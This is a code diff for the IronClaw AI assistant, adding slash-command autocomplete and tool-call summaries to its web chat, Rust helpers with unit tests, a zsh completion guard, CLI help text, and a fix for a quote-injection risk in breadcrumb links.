currentThreadId = data.id || null; currentThreadId = data.id || null;
document.getElementById('chat-messages').innerHTML = ''; document.getElementById('chat-messages').innerHTML = '';
setStatus('');
loadThreads(); loadThreads();
}).catch((err) => { }).catch((err) => {
showToast('Failed to create thread: ' + err.message, 'error'); showToast('Failed to create thread: ' + err.message, 'error');
@@ -1043,16 +1182,50 @@ function toggleThreadSidebar() {
// Chat input auto-resize and keyboard handling // Chat input auto-resize and keyboard handling
const chatInput = document.getElementById('chat-input'); const chatInput = document.getElementById('chat-input');
chatInput.addEventListener('keydown', (e) => { chatInput.addEventListener('keydown', (e) => {
const acEl = document.getElementById('slash-autocomplete');
const acVisible = acEl && acEl.style.display !== 'none';
if (acVisible) {
const items = acEl.querySelectorAll('.slash-ac-item');
if (e.key === 'ArrowDown') {
e.preventDefault();
_slashSelected = Math.min(_slashSelected + 1, items.length - 1);
updateSlashHighlight();
return;
}
if (e.key === 'ArrowUp') {
e.preventDefault();
_slashSelected = Math.max(_slashSelected - 1, -1);
updateSlashHighlight();
return;
}
if (e.key === 'Tab' || e.key === 'Enter') {
e.preventDefault();
const pick = _slashSelected >= 0 ? _slashMatches[_slashSelected] : _slashMatches[0];
if (pick) selectSlashItem(pick.cmd);
return;
}
if (e.key === 'Escape') {
e.preventDefault();
hideSlashAutocomplete();
return;
}
}
if (e.key === 'Enter' && !e.shiftKey) { if (e.key === 'Enter' && !e.shiftKey) {
e.preventDefault(); e.preventDefault();
hideSlashAutocomplete();
sendMessage(); sendMessage();
} }
}); });
chatInput.addEventListener('input', () => autoResizeTextarea(chatInput)); chatInput.addEventListener('input', () => {
autoResizeTextarea(chatInput);
// Disable send until a thread is selected (loadThreads will enable it) filterSlashCommands(chatInput.value);
chatInput.disabled = true; });
document.getElementById('send-btn').disabled = true; chatInput.addEventListener('blur', () => {
// Small delay so mousedown on autocomplete item fires first
setTimeout(hideSlashAutocomplete, 150);
});
// Infinite scroll: load older messages when scrolled near the top // Infinite scroll: load older messages when scrolled near the top
document.getElementById('chat-messages').addEventListener('scroll', function () { document.getElementById('chat-messages').addEventListener('scroll', function () {
@@ -1283,7 +1456,9 @@ function buildBreadcrumb(path) {
let current = ''; let current = '';
for (const part of parts) { for (const part of parts) {
current += (current ? '/' : '') + part; current += (current ? '/' : '') + part;
html += ' / <a onclick="readMemoryFile(\'' + escapeHtml(current) + '\')">' + escapeHtml(part) + '</a>'; // Store the path in data-path (HTML-escaped) and read it back via this.dataset.path
// to avoid single-quote injection in inline JS string literals.
html += ' / <a onclick="readMemoryFile(this.dataset.path)" data-path="' + escapeHtml(current) + '">' + escapeHtml(part) + '</a>';
} }
return html; return html;
} }
@@ -1458,10 +1633,8 @@ function applyLogFilters() {
function setServerLogLevel(level) { function setServerLogLevel(level) {
apiFetch('/api/logs/level', { apiFetch('/api/logs/level', {
method: 'PUT', method: 'PUT',
headers: { 'Content-Type': 'application/json' }, body: { level },
body: JSON.stringify({ level: level }),
}) })
.then(r => r.json())
.then(data => { .then(data => {
document.getElementById('logs-server-level').value = data.level; document.getElementById('logs-server-level').value = data.level;
}) })
@@ -1470,7 +1643,6 @@ function setServerLogLevel(level) {
function loadServerLogLevel() { function loadServerLogLevel() {
apiFetch('/api/logs/level') apiFetch('/api/logs/level')
.then(r => r.json())
.then(data => { .then(data => {
document.getElementById('logs-server-level').value = data.level; document.getElementById('logs-server-level').value = data.level;
}) })
@@ -1479,6 +1651,8 @@ function loadServerLogLevel() {
// --- Extensions --- // --- Extensions ---
var kindLabels = { 'wasm_channel': 'Channel', 'wasm_tool': 'Tool', 'mcp_server': 'MCP' };
function loadExtensions() { function loadExtensions() {
const extList = document.getElementById('extensions-list'); const extList = document.getElementById('extensions-list');
const wasmList = document.getElementById('available-wasm-list'); const wasmList = document.getElementById('available-wasm-list');
@@ -1554,7 +1728,7 @@ function renderAvailableExtensionCard(entry) {
const kind = document.createElement('span'); const kind = document.createElement('span');
kind.className = 'ext-kind kind-' + entry.kind; kind.className = 'ext-kind kind-' + entry.kind;
kind.textContent = entry.kind; kind.textContent = kindLabels[entry.kind] || entry.kind;
header.appendChild(kind); header.appendChild(kind);
card.appendChild(header); card.appendChild(header);
@@ -1620,7 +1794,7 @@ function renderMcpServerCard(entry, installedExt) {
var kind = document.createElement('span'); var kind = document.createElement('span');
kind.className = 'ext-kind kind-mcp_server'; kind.className = 'ext-kind kind-mcp_server';
kind.textContent = 'mcp_server'; kind.textContent = kindLabels['mcp_server'] || 'mcp_server';
header.appendChild(kind); header.appendChild(kind);
if (installedExt) { if (installedExt) {
@@ -1704,12 +1878,12 @@ function renderExtensionCard(ext) {
const name = document.createElement('span'); const name = document.createElement('span');
name.className = 'ext-name'; name.className = 'ext-name';
name.textContent = ext.name; name.textContent = ext.display_name || ext.name;
header.appendChild(name); header.appendChild(name);
const kind = document.createElement('span'); const kind = document.createElement('span');
kind.className = 'ext-kind kind-' + ext.kind; kind.className = 'ext-kind kind-' + ext.kind;
kind.textContent = ext.kind; kind.textContent = kindLabels[ext.kind] || ext.kind;
header.appendChild(kind); header.appendChild(kind);
// Auth dot only for non-WASM-channel extensions (channels use the stepper instead) // Auth dot only for non-WASM-channel extensions (channels use the stepper instead)
@@ -1785,11 +1959,6 @@ function renderExtensionCard(ext) {
actions.appendChild(pairingLabel); actions.appendChild(pairingLabel);
actions.appendChild(createReconfigureButton(ext.name)); actions.appendChild(createReconfigureButton(ext.name));
} else if (status === 'failed') { } else if (status === 'failed') {
var restartBtn = document.createElement('button');
restartBtn.className = 'btn-ext activate';
restartBtn.textContent = 'Restart';
restartBtn.addEventListener('click', restartGateway);
actions.appendChild(restartBtn);
actions.appendChild(createReconfigureButton(ext.name)); actions.appendChild(createReconfigureButton(ext.name));
} else { } else {
// installed or configured: show Setup button // installed or configured: show Setup button
@@ -1817,7 +1986,7 @@ function renderExtensionCard(ext) {
if (ext.needs_setup) { if (ext.needs_setup) {
const configBtn = document.createElement('button'); const configBtn = document.createElement('button');
configBtn.className = 'btn-ext configure'; configBtn.className = 'btn-ext configure';
configBtn.textContent = ext.authenticated ? 'Reconfigure' : 'Configure'; configBtn.textContent = ext.authenticated ? 'Reconfigure' : 'Setup';
configBtn.addEventListener('click', () => showConfigureModal(ext.name)); configBtn.addEventListener('click', () => showConfigureModal(ext.name));
actions.appendChild(configBtn); actions.appendChild(configBtn);
} }
@@ -1938,7 +2107,8 @@ function renderConfigureModal(name, secrets) {
if (secret.provided) { if (secret.provided) {
const badge = document.createElement('span'); const badge = document.createElement('span');
badge.className = 'field-provided'; badge.className = 'field-provided';
badge.textContent = 'Set'; badge.textContent = '\u2713';
badge.title = 'Already configured';
inputRow.appendChild(badge); inputRow.appendChild(badge);
} }
if (secret.auto_generate && !secret.provided) { if (secret.auto_generate && !secret.provided) {
@@ -1996,12 +2166,10 @@ function submitConfigureModal(name, fields) {
.then((res) => { .then((res) => {
closeConfigureModal(); closeConfigureModal();
if (res.success) { if (res.success) {
if (res.activated && name === 'telegram') { if (res.activated) {
showToast('Configured and activated ' + name, 'success'); showToast('Configured and activated ' + name, 'success');
} else if (res.activated) {
showToast('Configured ' + name + ' successfully', 'success');
} else if (res.needs_restart) { } else if (res.needs_restart) {
showToast('Configured ' + name + '. Restart required to activate.', 'info'); showToast('Configured ' + name + '. Use Reconfigure to re-enter credentials and activate.', 'info');
} else { } else {
showToast(res.message, 'success'); showToast(res.message, 'success');
} }
@@ -3541,8 +3709,13 @@ document.addEventListener('keydown', (e) => {
return; return;
} }
// Escape: close job detail or blur input // Escape: close autocomplete, job detail, or blur input
if (e.key === 'Escape') { if (e.key === 'Escape') {
const acEl = document.getElementById('slash-autocomplete');
if (acEl && acEl.style.display !== 'none') {
hideSlashAutocomplete();
return;
}
if (currentJobId) { if (currentJobId) {
closeJobDetail(); closeJobDetail();
} else if (inInput) { } else if (inInput) {
+2 -2
View File
@@ -78,9 +78,9 @@
</div> </div>
<div class="chat-container"> <div class="chat-container">
<div class="chat-messages" id="chat-messages"></div> <div class="chat-messages" id="chat-messages"></div>
<div class="chat-status" id="chat-status"></div> <div id="slash-autocomplete" class="slash-autocomplete" style="display:none"></div>
<div class="chat-input"> <div class="chat-input">
<textarea id="chat-input" placeholder="Type a message..." rows="1"></textarea> <textarea id="chat-input" placeholder="Message or / for commands..." rows="1"></textarea>
<button id="send-btn" onclick="sendMessage()">Send</button> <button id="send-btn" onclick="sendMessage()">Send</button>
</div> </div>
</div> </div>
+110 -25
View File
@@ -458,31 +458,6 @@ body {
.message th { background: var(--bg-tertiary); } .message th { background: var(--bg-tertiary); }
/* Status bar */ /* Status bar */
.chat-status {
padding: 6px 16px;
font-size: 12px;
color: var(--text-secondary);
border-top: 1px solid var(--border);
background: var(--bg-secondary);
min-height: 28px;
display: flex;
align-items: center;
gap: 8px;
}
.chat-status .spinner {
width: 12px;
height: 12px;
border: 2px solid var(--border);
border-top-color: var(--accent);
border-radius: 50%;
animation: spin 0.6s linear infinite;
}
@keyframes spin {
to { transform: rotate(360deg); }
}
.scroll-load-spinner { .scroll-load-spinner {
display: flex; display: flex;
@@ -833,6 +808,75 @@ body {
font-style: italic; font-style: italic;
} }
/* Tool calls summary (persisted between user/assistant messages) */
.tool-calls-summary {
background: var(--bg-secondary);
border-left: 3px solid var(--warning);
padding: 6px 12px;
margin: 4px 0;
font-size: 0.85em;
border-radius: 4px;
}
.tool-calls-header {
color: var(--text-secondary);
font-weight: 500;
user-select: none;
}
.tool-calls-header::before {
content: '\25B6';
display: inline-block;
margin-right: 6px;
font-size: 0.7em;
transition: transform 0.15s;
}
.tool-calls-header.expanded::before {
transform: rotate(90deg);
}
.tool-calls-list {
margin-top: 6px;
display: none;
}
.tool-calls-list.expanded {
display: block;
}
.tool-call-item {
padding: 3px 0;
border-bottom: 1px solid var(--border);
}
.tool-call-item:last-child {
border-bottom: none;
}
.tool-call-name {
font-weight: 500;
color: var(--text-primary);
}
.tool-call-preview {
color: var(--text-secondary);
font-size: 0.9em;
max-height: 60px;
overflow: hidden;
white-space: pre-wrap;
word-break: break-word;
}
.tool-call-error-text {
color: var(--danger);
font-size: 0.9em;
}
.tool-error .tool-call-name {
color: var(--danger);
}
/* Auth card (inline in chat) */ /* Auth card (inline in chat) */
.auth-card { .auth-card {
align-self: flex-start; align-self: flex-start;
@@ -3382,3 +3426,44 @@ mark {
width: 100%; width: 100%;
} }
} }
/* Slash command autocomplete dropdown */
.slash-autocomplete {
position: relative;
background: var(--bg-secondary);
border-top: 1px solid var(--border);
border-bottom: none;
max-height: 220px;
overflow-y: auto;
z-index: 50;
}
.slash-ac-item {
display: flex;
align-items: baseline;
gap: 10px;
padding: 7px 16px;
cursor: pointer;
transition: background 0.1s;
}
.slash-ac-item:hover,
.slash-ac-item.selected {
background: var(--bg-tertiary);
}
.slash-ac-cmd {
font-family: var(--font-mono);
font-size: 13px;
color: var(--accent);
white-space: nowrap;
min-width: 130px;
}
.slash-ac-desc {
font-size: 12px;
color: var(--text-secondary);
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
+21
View File
@@ -55,6 +55,10 @@ pub struct ToolCallInfo {
pub name: String, pub name: String,
pub has_result: bool, pub has_result: bool,
pub has_error: bool, pub has_error: bool,
#[serde(skip_serializing_if = "Option::is_none")]
pub result_preview: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")]
pub error: Option<String>,
} }
#[derive(Debug, Serialize)] #[derive(Debug, Serialize)]
@@ -67,6 +71,21 @@ pub struct HistoryResponse {
/// Cursor for the next page (ISO8601 timestamp of the oldest message returned). /// Cursor for the next page (ISO8601 timestamp of the oldest message returned).
#[serde(skip_serializing_if = "Option::is_none")] #[serde(skip_serializing_if = "Option::is_none")]
pub oldest_timestamp: Option<String>, pub oldest_timestamp: Option<String>,
/// Pending tool approval that needs user action (re-rendered on thread switch).
///
/// Only populated from in-memory state; not persisted to DB.
/// Server restart clears pending approvals.
#[serde(skip_serializing_if = "Option::is_none")]
pub pending_approval: Option<PendingApprovalInfo>,
}
/// Lightweight DTO for a pending tool approval (excludes context_messages).
#[derive(Debug, Serialize)]
pub struct PendingApprovalInfo {
pub request_id: String,
pub tool_name: String,
pub description: String,
pub parameters: String,
} }
// --- Approval --- // --- Approval ---
@@ -348,6 +367,8 @@ pub struct TransitionInfo {
#[derive(Debug, Serialize)] #[derive(Debug, Serialize)]
pub struct ExtensionInfo { pub struct ExtensionInfo {
pub name: String, pub name: String,
#[serde(skip_serializing_if = "Option::is_none")]
pub display_name: Option<String>,
pub kind: String, pub kind: String,
pub description: Option<String>, pub description: Option<String>,
#[serde(skip_serializing_if = "Option::is_none")] #[serde(skip_serializing_if = "Option::is_none")]
+234
View File
@@ -0,0 +1,234 @@
//! Shared utility functions for the web gateway.
use crate::channels::web::types::{ToolCallInfo, TurnInfo};
/// Truncate a string to at most `max_bytes` bytes at a char boundary, appending "...".
pub fn truncate_preview(s: &str, max_bytes: usize) -> String {
if s.len() <= max_bytes {
return s.to_string();
}
// Walk backwards from max_bytes to find a valid char boundary
let mut end = max_bytes;
while end > 0 && !s.is_char_boundary(end) {
end -= 1;
}
format!("{}...", &s[..end])
}
/// Build TurnInfo pairs from flat DB messages (user/tool_calls/assistant triples).
///
/// Handles three message patterns:
/// - `user → assistant` (legacy, no tool calls)
/// - `user → tool_calls → assistant` (with persisted tool call summaries)
/// - `user` alone (incomplete turn)
pub fn build_turns_from_db_messages(
messages: &[crate::history::ConversationMessage],
) -> Vec<TurnInfo> {
let mut turns = Vec::new();
let mut turn_number = 0;
let mut iter = messages.iter().peekable();
while let Some(msg) = iter.next() {
if msg.role == "user" {
let mut turn = TurnInfo {
turn_number,
user_input: msg.content.clone(),
response: None,
state: "Completed".to_string(),
started_at: msg.created_at.to_rfc3339(),
completed_at: None,
tool_calls: Vec::new(),
};
// Check if next message is a tool_calls record
if let Some(next) = iter.peek()
&& next.role == "tool_calls"
{
let tc_msg = iter.next().expect("peeked");
match serde_json::from_str::<Vec<serde_json::Value>>(&tc_msg.content) {
Ok(calls) => {
turn.tool_calls = calls
.iter()
.map(|c| ToolCallInfo {
name: c["name"].as_str().unwrap_or("unknown").to_string(),
has_result: c.get("result_preview").is_some(),
has_error: c.get("error").is_some(),
result_preview: c["result_preview"].as_str().map(String::from),
error: c["error"].as_str().map(String::from),
})
.collect();
}
Err(e) => {
tracing::warn!(
message_id = %tc_msg.id,
"Malformed tool_calls JSON in DB, skipping: {e}"
);
}
}
}
// Check if next message is an assistant response
if let Some(next) = iter.peek()
&& next.role == "assistant"
{
let assistant_msg = iter.next().expect("peeked");
turn.response = Some(assistant_msg.content.clone());
turn.completed_at = Some(assistant_msg.created_at.to_rfc3339());
}
// Incomplete turn (user message without response)
if turn.response.is_none() {
turn.state = "Failed".to_string();
}
turns.push(turn);
turn_number += 1;
}
}
turns
}
#[cfg(test)]
mod tests {
use super::*;
use uuid::Uuid;
// ---- truncate_preview tests ----
#[test]
fn test_truncate_preview_short_string() {
assert_eq!(truncate_preview("hello", 10), "hello");
}
#[test]
fn test_truncate_preview_exact_boundary() {
assert_eq!(truncate_preview("hello", 5), "hello");
}
#[test]
fn test_truncate_preview_truncates_ascii() {
assert_eq!(truncate_preview("hello world", 5), "hello...");
}
#[test]
fn test_truncate_preview_empty_string() {
assert_eq!(truncate_preview("", 10), "");
}
#[test]
fn test_truncate_preview_multibyte_char_boundary() {
// '€' is 3 bytes (E2 82 AC). "a€b" = [61, E2, 82, AC, 62] = 5 bytes
// Truncating at max_bytes=3 should not split the euro sign.
let s = "a€b";
let result = truncate_preview(s, 3);
// max_bytes=3 lands mid-€, so it walks back to byte 1 ("a")
assert_eq!(result, "a...");
}
#[test]
fn test_truncate_preview_emoji() {
// '🦀' is 4 bytes. "hi🦀" = 6 bytes
let s = "hi🦀";
let result = truncate_preview(s, 4);
// max_bytes=4 lands mid-🦀, walks back to byte 2 ("hi")
assert_eq!(result, "hi...");
}
#[test]
fn test_truncate_preview_cjk() {
// CJK characters are 3 bytes each. "你好世界" = 12 bytes
let s = "你好世界";
let result = truncate_preview(s, 7);
// max_bytes=7 lands mid-character (byte 7 is inside 世), walks back to 6 ("你好")
assert_eq!(result, "你好...");
}
#[test]
fn test_truncate_preview_zero_max_bytes() {
assert_eq!(truncate_preview("hello", 0), "...");
}
// ---- build_turns_from_db_messages tests ----
fn make_msg(role: &str, content: &str, offset_ms: i64) -> crate::history::ConversationMessage {
crate::history::ConversationMessage {
id: Uuid::new_v4(),
role: role.to_string(),
content: content.to_string(),
created_at: chrono::Utc::now() + chrono::TimeDelta::milliseconds(offset_ms),
}
}
#[test]
fn test_build_turns_complete() {
let messages = vec![
make_msg("user", "Hello", 0),
make_msg("assistant", "Hi!", 1000),
make_msg("user", "How?", 2000),
make_msg("assistant", "Good", 3000),
];
let turns = build_turns_from_db_messages(&messages);
assert_eq!(turns.len(), 2);
assert_eq!(turns[0].user_input, "Hello");
assert_eq!(turns[0].response.as_deref(), Some("Hi!"));
assert_eq!(turns[0].state, "Completed");
assert_eq!(turns[1].user_input, "How?");
assert_eq!(turns[1].response.as_deref(), Some("Good"));
}
#[test]
fn test_build_turns_incomplete() {
let messages = vec![make_msg("user", "Hello", 0)];
let turns = build_turns_from_db_messages(&messages);
assert_eq!(turns.len(), 1);
assert!(turns[0].response.is_none());
assert_eq!(turns[0].state, "Failed");
}
#[test]
fn test_build_turns_with_tool_calls() {
let tc_json = serde_json::json!([
{"name": "shell", "result_preview": "output"},
{"name": "http", "error": "timeout"}
]);
let messages = vec![
make_msg("user", "Run it", 0),
make_msg("tool_calls", &tc_json.to_string(), 500),
make_msg("assistant", "Done", 1000),
];
let turns = build_turns_from_db_messages(&messages);
assert_eq!(turns.len(), 1);
assert_eq!(turns[0].tool_calls.len(), 2);
assert_eq!(turns[0].tool_calls[0].name, "shell");
assert!(turns[0].tool_calls[0].has_result);
assert_eq!(turns[0].tool_calls[1].name, "http");
assert!(turns[0].tool_calls[1].has_error);
assert_eq!(turns[0].response.as_deref(), Some("Done"));
}
#[test]
fn test_build_turns_malformed_tool_calls() {
let messages = vec![
make_msg("user", "Hello", 0),
make_msg("tool_calls", "not json", 500),
make_msg("assistant", "Done", 1000),
];
let turns = build_turns_from_db_messages(&messages);
assert_eq!(turns.len(), 1);
assert!(turns[0].tool_calls.is_empty());
assert_eq!(turns[0].response.as_deref(), Some("Done"));
}
#[test]
fn test_build_turns_backward_compatible() {
let messages = vec![
make_msg("user", "Hello", 0),
make_msg("assistant", "Hi!", 1000),
];
let turns = build_turns_from_db_messages(&messages);
assert_eq!(turns.len(), 1);
assert!(turns[0].tool_calls.is_empty());
assert_eq!(turns[0].state, "Completed");
}
}
+42 -3
View File
@@ -1,6 +1,6 @@
use clap::{CommandFactory, Parser}; use clap::{CommandFactory, Parser};
use clap_complete::{Shell, generate}; use clap_complete::{Shell, generate};
use std::io; use std::io::{self, Write};
/// Generate shell completion scripts for ironclaw /// Generate shell completion scripts for ironclaw
#[derive(Parser, Debug)] #[derive(Parser, Debug)]
@@ -15,8 +15,23 @@ impl Completion {
let mut cmd = crate::cli::Cli::command(); let mut cmd = crate::cli::Cli::command();
let bin_name = cmd.get_name().to_string(); let bin_name = cmd.get_name().to_string();
// Generated and output script to stdout if self.shell == Shell::Zsh {
generate(self.shell, &mut cmd, bin_name, &mut io::stdout()); // Generate to buffer so we can patch the compdef call.
// clap_complete emits bare `compdef _ironclaw ironclaw` which
// errors if sourced before compinit. Guard it so the script
// works in all sourcing contexts.
let mut buf = Vec::new();
generate(self.shell, &mut cmd, bin_name.clone(), &mut buf);
let script = String::from_utf8(buf)?;
let bare = format!("compdef _{0} {0}", bin_name);
let guarded = format!("(( $+functions[compdef] )) && compdef _{0} {0}", bin_name);
let patched = script.replace(&bare, &guarded);
io::stdout().write_all(patched.as_bytes())?;
} else {
generate(self.shell, &mut cmd, bin_name, &mut io::stdout());
}
Ok(()) Ok(())
} }
@@ -36,4 +51,28 @@ mod tests {
generate(completion.shell, &mut cmd, bin_name, &mut buf); generate(completion.shell, &mut cmd, bin_name, &mut buf);
assert!(!buf.is_empty(), "generate() should produce output"); assert!(!buf.is_empty(), "generate() should produce output");
} }
#[test]
fn test_zsh_compdef_guard_applied() {
let mut cmd = crate::cli::Cli::command();
let bin_name = cmd.get_name().to_string();
let mut buf = Vec::new();
generate(Shell::Zsh, &mut cmd, bin_name.clone(), &mut buf);
let raw = String::from_utf8(buf).unwrap();
// Apply the same patching logic as run()
let bare = format!("compdef _{0} {0}", bin_name);
let guarded = format!("(( $+functions[compdef] )) && compdef _{0} {0}", bin_name);
let patched = raw.replace(&bare, &guarded);
let bare_compdef = format!(" compdef _{0} {0}\n", bin_name);
assert!(
!patched.contains(&bare_compdef),
"bare compdef should not appear after patching"
);
assert!(
patched.contains("$+functions[compdef]"),
"patched output should contain compdef guard"
);
}
} }
+4 -8
View File
@@ -6,6 +6,8 @@
use std::path::PathBuf; use std::path::PathBuf;
use crate::bootstrap::ironclaw_base_dir;
/// Run all diagnostic checks and print results. /// Run all diagnostic checks and print results.
pub async fn run_doctor_command() -> anyhow::Result<()> { pub async fn run_doctor_command() -> anyhow::Result<()> {
println!("IronClaw Doctor"); println!("IronClaw Doctor");
@@ -169,11 +171,7 @@ async fn try_pg_connect() -> Result<(), String> {
url: Some(url), url: Some(url),
..Default::default() ..Default::default()
}; };
let pool = config let pool = crate::db::tls::create_pool(&config, crate::config::SslMode::from_env())
.create_pool(
Some(deadpool_postgres::Runtime::Tokio1),
tokio_postgres::NoTls,
)
.map_err(|e| format!("pool error: {e}"))?; .map_err(|e| format!("pool error: {e}"))?;
let client = tokio::time::timeout(std::time::Duration::from_secs(5), pool.get()) let client = tokio::time::timeout(std::time::Duration::from_secs(5), pool.get())
@@ -195,9 +193,7 @@ async fn try_pg_connect() -> Result<(), String> {
} }
fn check_workspace_dir() -> CheckResult { fn check_workspace_dir() -> CheckResult {
let dir = dirs::home_dir() let dir = ironclaw_base_dir();
.unwrap_or_else(|| PathBuf::from("."))
.join(".ironclaw");
if dir.exists() { if dir.exists() {
if dir.is_dir() { if dir.is_dir() {
+2 -2
View File
@@ -546,10 +546,10 @@ async fn get_secrets_store() -> anyhow::Result<Arc<dyn SecretsStore + Send + Syn
.await .await
.map_err(|e| anyhow::anyhow!("{}", e))?; .map_err(|e| anyhow::anyhow!("{}", e))?;
return Ok(Arc::new(crate::secrets::LibSqlSecretsStore::new( Ok(Arc::new(crate::secrets::LibSqlSecretsStore::new(
backend.shared_db(), backend.shared_db(),
Arc::new(crypto), Arc::new(crypto),
))); )))
} }
#[cfg(not(any(feature = "postgres", feature = "libsql")))] #[cfg(not(any(feature = "postgres", feature = "libsql")))]
+77 -8
View File
@@ -37,14 +37,18 @@ pub use service::{ServiceCommand, run_service_command};
pub use status::run_status_command; pub use status::run_status_command;
pub use tool::{ToolCommand, run_tool_command}; pub use tool::{ToolCommand, run_tool_command};
use clap::{Parser, Subcommand}; use clap::{ColorChoice, Parser, Subcommand};
#[derive(Parser, Debug)] #[derive(Parser, Debug)]
#[command(name = "ironclaw")] #[command(name = "ironclaw")]
#[command( #[command(
about = "Secure personal AI assistant that protects your data and expands its capabilities" about = "Secure personal AI assistant that protects your data and expands its capabilities"
)] )]
#[command(
long_about = "IronClaw is a secure AI assistant. Use 'ironclaw <subcommand> --help' for details.\nExamples:\n ironclaw run # Start the agent\n ironclaw config list # List configs"
)]
#[command(version)] #[command(version)]
#[command(color = ColorChoice::Auto)] // Enable auto-color for help (if the terminal supports it)
pub struct Cli { pub struct Cli {
#[command(subcommand)] #[command(subcommand)]
pub command: Option<Command>, pub command: Option<Command>,
@@ -73,9 +77,17 @@ pub struct Cli {
#[derive(Subcommand, Debug)] #[derive(Subcommand, Debug)]
pub enum Command { pub enum Command {
/// Run the agent (default if no subcommand given) /// Run the agent (default if no subcommand given)
#[command(
about = "Run the AI agent",
long_about = "Starts the IronClaw agent in default mode.\nExample: ironclaw run"
)]
Run, Run,
/// Interactive onboarding wizard /// Interactive onboarding wizard
#[command(
about = "Run interactive setup wizard",
long_about = "Guides through initial configuration.\nExamples:\n ironclaw onboard --skip-auth # Skip auth step\n ironclaw onboard --channels-only # Reconfigure channels"
)]
Onboard { Onboard {
/// Skip authentication (use existing session) /// Skip authentication (use existing session)
#[arg(long)] #[arg(long)]
@@ -87,44 +99,85 @@ pub enum Command {
}, },
/// Manage configuration settings /// Manage configuration settings
#[command(subcommand)] #[command(
subcommand,
about = "Manage app configs",
long_about = "Commands for listing, getting, and setting configurations.\nExample: ironclaw config list"
)]
Config(ConfigCommand), Config(ConfigCommand),
/// Manage WASM tools /// Manage WASM tools
#[command(subcommand)] #[command(
subcommand,
about = "Manage WASM tools",
long_about = "Install, list, or remove WASM-based tools.\nExample: ironclaw tool install mytool.wasm"
)]
Tool(ToolCommand), Tool(ToolCommand),
/// Browse and install extensions from the registry /// Browse and install extensions from the registry
#[command(subcommand)] #[command(
subcommand,
about = "Browse/install extensions",
long_about = "Interact with extension registry.\nExample: ironclaw registry list"
)]
Registry(RegistryCommand), Registry(RegistryCommand),
/// Manage MCP servers (hosted tool providers) /// Manage MCP servers (hosted tool providers)
#[command(subcommand)] #[command(
subcommand,
about = "Manage MCP servers",
long_about = "Add, auth, list, or test MCP servers.\nExample: ironclaw mcp add notion https://mcp.notion.com"
)]
Mcp(McpCommand), Mcp(McpCommand),
/// Query and manage workspace memory /// Query and manage workspace memory
#[command(subcommand)] #[command(
subcommand,
about = "Manage workspace memory",
long_about = "Search, read, or write to memory.\nExample: ironclaw memory search 'query'"
)]
Memory(MemoryCommand), Memory(MemoryCommand),
/// DM pairing (approve inbound requests from unknown senders) /// DM pairing (approve inbound requests from unknown senders)
#[command(subcommand)] #[command(
subcommand,
about = "Manage DM pairing",
long_about = "Approve or manage pairing requests.\nExamples:\n ironclaw pairing list telegram\n ironclaw pairing approve telegram ABC12345"
)]
Pairing(PairingCommand), Pairing(PairingCommand),
/// Manage OS service (launchd / systemd) /// Manage OS service (launchd / systemd)
#[command(subcommand)] #[command(
subcommand,
about = "Manage OS service",
long_about = "Install, start, or stop service.\nExample: ironclaw service install"
)]
Service(ServiceCommand), Service(ServiceCommand),
/// Probe external dependencies and validate configuration /// Probe external dependencies and validate configuration
#[command(
about = "Run diagnostics",
long_about = "Checks dependencies and config validity.\nExample: ironclaw doctor"
)]
Doctor, Doctor,
/// Show system health and diagnostics /// Show system health and diagnostics
#[command(
about = "Show system status",
long_about = "Displays health and diagnostics info.\nExample: ironclaw status"
)]
Status, Status,
/// Generate shell completion scripts /// Generate shell completion scripts
#[command(
about = "Generate completions",
long_about = "Generates shell completion scripts.\nExample: ironclaw completion --shell bash > ironclaw.bash"
)]
Completion(Completion), Completion(Completion),
/// Run as a sandboxed worker inside a Docker container (internal use). /// Run as a sandboxed worker inside a Docker container (internal use).
/// This is invoked automatically by the orchestrator, not by users directly. /// This is invoked automatically by the orchestrator, not by users directly.
#[command(hide = true)]
Worker { Worker {
/// Job ID to execute. /// Job ID to execute.
#[arg(long)] #[arg(long)]
@@ -141,6 +194,7 @@ pub enum Command {
/// Run as a Claude Code bridge inside a Docker container (internal use). /// Run as a Claude Code bridge inside a Docker container (internal use).
/// Spawns the `claude` CLI and streams output back to the orchestrator. /// Spawns the `claude` CLI and streams output back to the orchestrator.
#[command(hide = true)]
ClaudeBridge { ClaudeBridge {
/// Job ID to execute. /// Job ID to execute.
#[arg(long)] #[arg(long)]
@@ -171,6 +225,7 @@ impl Cli {
mod tests { mod tests {
use super::*; use super::*;
use clap::CommandFactory; use clap::CommandFactory;
use insta::assert_snapshot;
#[test] #[test]
fn test_version() { fn test_version() {
@@ -180,4 +235,18 @@ mod tests {
env!("CARGO_PKG_VERSION") env!("CARGO_PKG_VERSION")
); );
} }
#[test]
fn test_help_output() {
let mut cmd = Cli::command();
let help = cmd.render_help().to_string();
assert_snapshot!(help);
}
#[test]
fn test_long_help_output() {
let mut cmd = Cli::command();
let help = cmd.render_long_help().to_string();
assert_snapshot!(help);
}
} }
@@ -0,0 +1,31 @@
---
source: src/cli/mod.rs
expression: help
---
Secure personal AI assistant that protects your data and expands its capabilities
Usage: ironclaw [OPTIONS] [COMMAND]
Commands:
run Run the AI agent
onboard Run interactive setup wizard
config Manage app configs
tool Manage WASM tools
registry Browse/install extensions
mcp Manage MCP servers
memory Manage workspace memory
pairing Manage DM pairing
service Manage OS service
doctor Run diagnostics
status Show system status
completion Generate completions
help Print this message or the help of the given subcommand(s)
Options:
--cli-only Run in interactive CLI mode only (disable other channels)
--no-db Skip database connection (for testing)
-m, --message <MESSAGE> Single message mode - send one message and exit
-c, --config <CONFIG> Configuration file path (optional, uses env vars by default)
--no-onboard Skip first-run onboarding check
-h, --help Print help (see more with '--help')
-V, --version Print version
@@ -0,0 +1,47 @@
---
source: src/cli/mod.rs
expression: help
---
IronClaw is a secure AI assistant. Use 'ironclaw <subcommand> --help' for details.
Examples:
ironclaw run # Start the agent
ironclaw config list # List configs
Usage: ironclaw [OPTIONS] [COMMAND]
Commands:
run Run the AI agent
onboard Run interactive setup wizard
config Manage app configs
tool Manage WASM tools
registry Browse/install extensions
mcp Manage MCP servers
memory Manage workspace memory
pairing Manage DM pairing
service Manage OS service
doctor Run diagnostics
status Show system status
completion Generate completions
help Print this message or the help of the given subcommand(s)
Options:
--cli-only
Run in interactive CLI mode only (disable other channels)
--no-db
Skip database connection (for testing)
-m, --message <MESSAGE>
Single message mode - send one message and exit
-c, --config <CONFIG>
Configuration file path (optional, uses env vars by default)
--no-onboard
Skip first-run onboarding check
-h, --help
Print help (see a summary with '-h')
-V, --version
Print version
+4 -13
View File
@@ -5,6 +5,7 @@
